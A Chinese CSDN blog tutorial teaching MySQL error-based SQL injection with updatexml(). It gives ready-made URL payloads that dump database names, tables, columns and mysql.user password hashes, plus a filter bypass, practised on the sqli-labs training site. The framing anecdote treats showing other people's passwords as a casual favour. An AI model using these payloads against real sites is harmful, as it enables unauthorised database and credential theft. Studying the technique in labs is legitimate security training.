“你能让别人的密码显示在我的页面上吗?““当然可以。“
「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》
前段时间,有个朋友问我:“你是做网络安全,当黑客的,你能让别人的密码显示在我的页面上吗?”
我说:“当然可以,用报错注入啊,不只是密码,只要数据库里有的,都能显示出来。”
朋友又问:“报错注入是什么,怎么用啊?”
“这属于付费项目”,我翘起二郎腿,瞥了她一眼。
“我给你带一星期的早饭?”
“十分钟给你整明白!!!”
一、原理
报错注入利用函数的报错信息,将查询结果携带出来,并在页面显示(前提是页面显示数据库的报错信息)。
二、报错函数
报错注入所利用的函数被称为报错函数,最常用的报错函数是:updatexml()
1. updatexml()
语法格式:
updatexml( 1, '~', 3)
- 1
技能点:
- 「参数2」包含特殊符号时报错,并在报错信息中显示参数2的内容。
- 报错信息长度不超过 32 个字符。
~
可替换为0x7e
,方便绕过
2. 报错原理
当第二个参数中包含「特殊符号」时,会导致数据库报错,并将第二个参数的内容展示在报错信息中:
3. 拼接查询语句
将「查询结果」拼接在参数中,可以在报错信息中一同展示查询结果。
比如,使用报错函数查看当前使用的数据库:
提示:concat()函数可以将特殊符号 ~
和查询结果拼接到一起。
点我了解 MySQL concat函数用法
4. 使用格式
使用 updatexml() 函数获取数据时,只需要修改下方格式中的查询语句:
updatexml(1,concat('~',(查询语句)),3);
- 1
5. 多行查询结果
报错函数允许返回的查询结果需要满足两个条件:
- 只有一个字段
- 只有一行数据
这里可以粗暴的理解为:报错函数只能返回一个字符串。
因此,使用报错函数返回「多行查询结果」时,需要将查询结果拼接成一个字符串。
比如,我们获取数据库的所有用户(数据库有多个用户,查询结果肯定是多行数据):
提示:group_concat()函数用来将查询结果拼接成一个字符串,逗号分隔。
点击了解 MySQL group_concat()函数使用方法
6. 报错长度限制
实际上,我的数据库中有4个用户(如下图):
但报错信息中只展示了两个用户,这是因为 updatexml() 函数的报错内容不能超过 32 个字符,想要获取所有的数据,有两种常用的方式:
- limit 分页
- substr() 截取字符串
5.1 limit 分页
比如,我们分别查询第二条数据、第三条数据(从0开始):
5.2 substr() 截取字符串
比如,我们分别展示查询结果的第1~32
个字符、第32~64
个字符:
三、注入步骤
适用情况:页面有数据库的报错信息
报错信息必须是动态的、来自数据库的报错信息;网站写死的、自定义的报错提示不算。
1. 判断是否报错
参数中添加单/双引号,页面报错才可进行下一步。
?id=1' -- a
- 1
2. 判断报错条件
参数中添加报错函数,检查报错信息是否正常回显
?id=1' and updatexml(1,'~',3) -- a
- 1
3. 脱库
获取所有数据库
?id=-1' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
, 1 , 31)
),3) -- a
- 1
- 2
- 3
- 4
- 5
- 6
获取所有表
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema = 'security')
, 1 , 31)
),3) -- a
- 1
- 2
- 3
- 4
- 5
- 6
- 7
获取所有字段
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users')
, 1 , 31)
),3) -- a
- 1
- 2
- 3
- 4
- 5
- 6
- 7
四、实战案例
我们拿测试网站(SQLi 第一关)练习一下。
先给个单引号,页面显示了数据库的报错信息,确定报错注入可用:
使用报错函数,页面可以正常回显错误信息,确定报错函数可用:
接下来用报错函数获取数据库用户的密码:
?id=-1' and updatexml(1,concat('~',
substr((select password
from mysql.user where user='mituan') , 1 , 31)
),3) -- a
- 1
- 2
- 3
- 4
有些网站(SQLi 第23关)会对参数进行过滤,比如 禁用了注释,我们可以进行适当的绕过(闭合代替注释):
?id=1' and updatexml(1,
concat(0x7e,(
select group_concat(user,password)
from mysql.user where user = 'mituan'
))
,3) and '
- 1
- 2
- 3
- 4
- 5
- 6
网站的过滤很多,相对的绕过方式也有很多,网络安全的路还很长,我们只争朝夕。
感谢你的点赞、收藏、评论,我是三日,祝你幸福!
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/123229783
- 点赞
- 收藏
- 关注作者
评论(0)